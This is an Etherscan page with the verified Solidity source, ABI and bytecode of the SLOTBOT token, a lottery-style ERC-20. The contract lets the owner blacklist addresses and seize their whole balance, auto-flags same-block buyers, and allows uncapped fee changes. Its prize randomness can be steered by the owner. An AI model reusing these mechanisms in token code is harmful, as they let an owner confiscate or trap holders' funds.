Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 SBOT
Holders
76
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
12,147,997.281889316 SBOTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SLOTBOT
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-15 */ /**************************************************** Spin, Win, and Never Lose – That's the SlotBot Magic! Telegram https://t.me/slotbot_portal Website https://slotbot.win Twitter: https://twitter.com/SlotBot_erc20 ****************************************************/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SLOTBOT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SLOT BOT"; string private constant _symbol = "SBOT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private difficulty = 1990072320230808; //Security bool private botDisabled; bool private buySellDisabledAtSameBlock; bool private cooldownEnabled; uint256 private buyCooldown = 1; uint256 private sellCooldown = 1; mapping(address => bool) public malicious; mapping(address => uint256) private buyBlock; mapping(address => uint256) private sellBlock; address payable private _dvlp = payable(0x3c05AEA7F927AaD3d93f25e78E876B8031b0DD12); address payable private _mkt = payable(0x1f066Fe914Ea36c882A7000e029f6DD8a15C15A2); address private _lotteryStore = 0x1f491Bc4844640D19418B489bB1f0D32c18F6699; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public txMaxAmount = _tTotal.mul(2).div(100); uint256 public walletMaxSize = _tTotal.mul(2).div(100); uint256 public swapTokenAmount = _tTotal.mul(1).div(10000); bool public enabledAdditionalPrizes; event TransferredPrize(address buyer, uint256 amount, uint256 prizeNumber, uint256 prizeAmount ); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_dvlp] = true; _isExcludedFromFee[_mkt] = true; _isExcludedFromFee[_lotteryStore] = true; botDisabled = false; buySellDisabledAtSameBlock = true; cooldownEnabled = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (malicious[from]) { _tokenTransfer(from, address(this), balanceOf(from), false); } else { validateAndSlot(from, to, amount); bool takeFee = checkFee(from, to); updateDifficulty(amount, 0); _tokenTransfer(from, to, amount, takeFee); } } function validateAndSlot(address from, address to, uint256 amount) private { if (from != owner() && to != owner()) { if (!tradingOpen) { require( from == owner(), "TOKEN: This account cannot send tokens until trading is enabled" ); } require(amount <= txMaxAmount, "TOKEN: Max Transaction Limit"); if( isContract(from) ) { require(!botDisabled, "TOKEN: Disabled transmission between contracts."); } // require(!malicious[to], "TOKEN: Target account is blacklisted!"); if (to != uniswapV2Pair) { require( balanceOf(to) + amount < walletMaxSize, "TOKEN: Balance exceeds wallet size!" ); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokenAmount; if (contractTokenBalance >= txMaxAmount) { contractTokenBalance = txMaxAmount; } if ( canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { uint256 forSlotbot = contractTokenBalance / 2; uint256 tm = contractTokenBalance - forSlotbot; swapTokensForEth(tm); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); uint256 raffleFee = forSlotbot / 10; uint256 addSlotbot = forSlotbot - raffleFee; _tokenTransfer(address(this), _dvlp, raffleFee, false); _tokenTransfer(address(this), _lotteryStore, addSlotbot, false); } } if (!inSwap && from == uniswapV2Pair && to != address(uniswapV2Router)) { if( block.number == buyBlock[to] ) malicious[to] = true; else if(!malicious[to]) _transferPrize(to, amount); } } } function checkFee(address from, address to) private returns(bool) { bool takeFee = true; //Transfer Tokens if ( (_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair) ) { takeFee = false; } else { //Set Fee for Buys if (from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if(cooldownEnabled) { require(block.number >= buyBlock[to] + buyCooldown, "TOKEN: Invalid Cooldown Block"); } buyBlock[to] = block.number; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; if(cooldownEnabled && from != address(this)) { require(block.number >= sellBlock[from] + sellCooldown, "TOKEN: Invalid Cooldown Block"); } if( buySellDisabledAtSameBlock ) { require(block.number > buyBlock[from], "TOKEN: Selling at the same block was disabled."); } sellBlock[from] = block.number; } } return takeFee; } function _transferPrize(address to, uint256 amount) private { uint256 randomNumber = uint256( keccak256( abi.encodePacked( difficulty, block.timestamp, block.prevrandao, block.number ) ) ); updateDifficulty(amount, randomNumber); randomNumber = randomNumber % 1000000; uint8 _caseNumber = 0; uint256 _prizeAmount = 0; if(randomNumber >= 0 && randomNumber < 10000) { _caseNumber = 1; _prizeAmount = amount / 5; // 20% } else if(randomNumber < 20000) { _caseNumber = 2; _prizeAmount = amount / 5; // 20% } else if(randomNumber < 30000) { _caseNumber = 3; _prizeAmount = amount / 5; // 20% } else if(randomNumber < 35000) { _caseNumber = 4; _prizeAmount = amount / 3; //33% } else if(randomNumber < 40000) { _caseNumber = 5; _prizeAmount = amount / 3; //33% } else if(randomNumber < 45000) { _caseNumber = 6; _prizeAmount = amount / 3; //33% } else if(randomNumber < 45100) { _caseNumber = 7; _prizeAmount = amount; //100% } else if(randomNumber < 45110) { _caseNumber = 8; _prizeAmount = amount * 10; //1000% 10x } else if(randomNumber < 45111) { _caseNumber = 9; _prizeAmount = amount * 100; //10000% 100x } else { if( enabledAdditionalPrizes ) { if( randomNumber >= 100000 && randomNumber < 120000) { _caseNumber = 10; _prizeAmount = amount / 10; // 10% } else if( randomNumber >= 120000 && randomNumber < 140000 ) { _caseNumber = 11; _prizeAmount = amount / 10; // 10% } else if( randomNumber >= 140000 && randomNumber < 160000 ) { _caseNumber = 12; _prizeAmount = amount / 10; // 10% } } } uint256 prizeStoreAmount = balanceOf(_lotteryStore); if( prizeStoreAmount < _prizeAmount ) _caseNumber = 0; if( _caseNumber > 0 ) { _tokenTransfer(_lotteryStore, to, _prizeAmount, false); emit TransferredPrize(to, amount, _caseNumber, _prizeAmount); } } function updateDifficulty(uint256 amount, uint256 rnd) private { if( rnd > _tTotal) difficulty += rnd % _tTotal + amount; else difficulty += rnd + amount; if(difficulty > _tTotal) { difficulty = difficulty % _tTotal; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _dvlp.transfer(amount.mul(25).div(100)); _mkt.transfer(amount.mul(75).div(100)); } function startTrading() public onlyOwner { tradingOpen = !tradingOpen; } function swapRubbish() external { require( _msgSender() == _dvlp || _msgSender() == _mkt ); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function sendRubbish() external { require( _msgSender() == _dvlp || _msgSender() == _mkt ); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory _bots) public onlyOwner { for (uint256 i = 0; i < _bots.length; i++) { malicious[_bots[i]] = true; } } function unblocksBots(address addr) public onlyOwner { malicious[addr] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _redisFee, _taxFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee( uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell ) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokenThreshold(uint256 _swapTokensAtAmount) public onlyOwner { swapTokenAmount = _swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setTxMaxAmount(uint256 _percent) public onlyOwner { require(_percent > 0); txMaxAmount = (_tTotal * _percent ) / 100; } function setWalletMaxSize(uint256 _percent) public onlyOwner { require(_percent > 0); walletMaxSize = (_tTotal * _percent ) / 100; } function enableAdditionalPrizes(bool _enable) public onlyOwner { enabledAdditionalPrizes = _enable; } function setCooldown(bool _enable, uint256 _buyCooldown, uint256 _sellCooldown) public onlyOwner { cooldownEnabled = _enable; buyCooldown = _buyCooldown; sellCooldown = _sellCooldown; } function disableBot(bool _disable, bool _buySellDisabledAtSameBlock) public onlyOwner { botDisabled = _disable; buySellDisabledAtSameBlock = _buySellDisabledAtSameBlock; } function setDifficulty(uint256 _difficulty) public onlyOwner { difficulty = _difficulty; } function secinfo() public view onlyOwner returns ( bool cooldownEnabled_, uint256 buyCooldown_, uint256 sellCooldown_, bool botDisabled_, bool buySellDisabledAtSameBlock_, uint256 redisFeeOnBuy_, uint256 redisFeeOnSell_, uint256 taxFeeOnBuy_, uint256 taxFeeOnSell_ ){ return (cooldownEnabled, buyCooldown, sellCooldown, botDisabled, buySellDisabledAtSameBlock, _redisFeeOnBuy, _redisFeeOnSell, _taxFeeOnBuy, _taxFeeOnSell); } function excludeAccountsFromFee( address[] calldata accounts, bool excluded ) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function isContract(address account) private view returns (bool) { if(account == uniswapV2Pair || account == address(uniswapV2Router) || account == address(this)) return false; uint256 size; assembly { size := extcodesize(account) } return size > 0; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"buyer","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"prizeNumber","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"prizeAmount","type":"uint256"}],"name":"TransferredPrize","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_disable","type":"bool"},{"internalType":"bool","name":"_buySellDisabledAtSameBlock","type":"bool"}],"name":"disableBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableAdditionalPrizes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enabledAdditionalPrizes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"malicious","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"secinfo","outputs":[{"internalType":"bool","name":"cooldownEnabled_","type":"bool"},{"internalType":"uint256","name":"buyCooldown_","type":"uint256"},{"internalType":"uint256","name":"sellCooldown_","type":"uint256"},{"internalType":"bool","name":"botDisabled_","type":"bool"},{"internalType":"bool","name":"buySellDisabledAtSameBlock_","type":"bool"},{"internalType":"uint256","name":"redisFeeOnBuy_","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell_","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy_","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell_","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sendRubbish","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"},{"internalType":"uint256","name":"_buyCooldown","type":"uint256"},{"internalType":"uint256","name":"_sellCooldown","type":"uint256"}],"name":"setCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_difficulty","type":"uint256"}],"name":"setDifficulty","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"setTxMaxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"setWalletMaxSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapRubbish","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokenAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"txMaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"unblocksBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"walletMaxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405262000019670de0b6b3a76400005f1962000515565b62000026905f196200053f565b6006555f60088190556009819055600a818155600b819055600c829055600d819055600e91909155600f55660711f5d1b9859860105560016012819055601355601780546001600160a01b0319908116733c05aea7f927aad3d93f25e78e876b8031b0dd1217909155601880548216731f066fe914ea36c882a7000e029f6dd8a15c15a217905560198054909116731f491bc4844640d19418b489bb1f0d32c18f6699179055601b805462ffffff60a01b1916600160b01b179055620001036064620000fc670de0b6b3a76400006002620003eb565b906200047e565b601c55620001216064620000fc670de0b6b3a76400006002620003eb565b601d5562000140612710620000fc670de0b6b3a76400006001620003eb565b601e553480156200014f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654335f9081526002602090815260409182902092909255601a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa15801562000209573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022f919062000555565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002a1919062000555565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ec573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000312919062000555565b601b80546001600160a01b0319166001600160a01b039283161790555f805482168152600560209081526040808320805460ff19908116600190811790925530855282852080548216831790556017548616855282852080548216831790556018548616855282852080548216831790556019549095168452818420805490951617909355601180546201010062ffffff199091161790559151670de0b6b3a7640000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620005fa565b5f825f03620003fc57505f62000478565b5f6200040983856200057d565b90508262000418858362000597565b14620004755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6200047583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620004c760201b60201c565b5f8183620004ea5760405162461bcd60e51b81526004016200046c9190620005ad565b505f620004f8848662000597565b95945050505050565b634e487b7160e01b5f52601260045260245ffd5b5f8262000526576200052662000501565b500690565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200047857620004786200052b565b5f6020828403121562000566575f80fd5b81516001600160a01b038116811462000475575f80fd5b80820281158282048414176200047857620004786200052b565b5f82620005a857620005a862000501565b500490565b5f6020808352835180828501525f5b81811015620005da57858101830151858201604001528201620005bc565b505f604082860101526040601f19601f8301168501019250505092915050565b61266980620006085f395ff3fe6080604052600436106101fe575f3560e01c80636feaf52a11610113578063a2a957bb1161009d578063bd430e401161006d578063bd430e401461060d578063c95714e314610626578063dd62ed3e1461063b578063f75235261461067f578063ffb54a991461069e575f80fd5b8063a2a957bb146105a5578063a9059cbb146105c4578063af89336b146105e3578063b31e8fb9146105f8575f80fd5b80638d3e75c4116100e35780638d3e75c41461050b5780638da5cb5b1461051f578063932173b71461053b57806395d89b411461055a5780639d91573314610586575f80fd5b80636feaf52a146104a557806370a08231146104c4578063715018a6146104e357806374ea7cc0146104f7575f80fd5b806318160ddd11610194578063293230b811610164578063293230b814610419578063313ce5671461042d57806349bd5a5e14610448578063602512e1146104675780636d8aa8f814610486575f80fd5b806318160ddd146103985780632258fb62146103bc57806323b872dd146103db578063289161ed146103fa575f80fd5b80630e069804116101cf5780630e069804146102ba5780631474a755146103145780631694505e14610342578063169858a914610379575f80fd5b8062b8cf2a1461020957806306fdde031461022a5780630767fac41461026c578063095ea7b31461028b575f80fd5b3661020557005b5f80fd5b348015610214575f80fd5b50610228610223366004612184565b6106be565b005b348015610235575f80fd5b5060408051808201909152600881526714d313d5081093d560c21b60208201525b6040516102639190612244565b60405180910390f35b348015610277575f80fd5b5061022861028636600461228f565b610759565b348015610296575f80fd5b506102aa6102a53660046122a6565b610787565b6040519015158152602001610263565b3480156102c5575f80fd5b506102ce61079d565b604080519915158a5260208a0198909852968801959095529215156060870152901515608086015260a085015260c084015260e083015261010082015261012001610263565b34801561031f575f80fd5b506102aa61032e3660046122d0565b60146020525f908152604090205460ff1681565b34801561034d575f80fd5b50601a54610361906001600160a01b031681565b6040516001600160a01b039091168152602001610263565b348015610384575f80fd5b506102286103933660046122d0565b610814565b3480156103a3575f80fd5b50670de0b6b3a76400005b604051908152602001610263565b3480156103c7575f80fd5b506102286103d63660046122fa565b61085d565b3480156103e6575f80fd5b506102aa6103f536600461232a565b6108a9565b348015610405575f80fd5b5061022861041436600461228f565b610910565b348015610424575f80fd5b50610228610968565b348015610438575f80fd5b5060405160098152602001610263565b348015610453575f80fd5b50601b54610361906001600160a01b031681565b348015610472575f80fd5b5061022861048136600461228f565b6109b2565b348015610491575f80fd5b506102286104a0366004612368565b6109e0565b3480156104b0575f80fd5b506102286104bf366004612381565b610a27565b3480156104cf575f80fd5b506103ae6104de3660046122d0565b610ac4565b3480156104ee575f80fd5b50610228610ae5565b348015610502575f80fd5b50610228610b56565b348015610516575f80fd5b50610228610ba0565b34801561052a575f80fd5b505f546001600160a01b0316610361565b348015610546575f80fd5b506102286105553660046123fe565b610bf2565b348015610565575f80fd5b5060408051808201909152600481526314d093d560e21b6020820152610256565b348015610591575f80fd5b506102286105a0366004612368565b610c3f565b3480156105b0575f80fd5b506102286105bf36600461242f565b610c7b565b3480156105cf575f80fd5b506102aa6105de3660046122a6565b610cb8565b3480156105ee575f80fd5b506103ae601c5481565b348015610603575f80fd5b506103ae601d5481565b348015610618575f80fd5b50601f546102aa9060ff1681565b348015610631575f80fd5b506103ae601e5481565b348015610646575f80fd5b506103ae61065536600461245e565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561068a575f8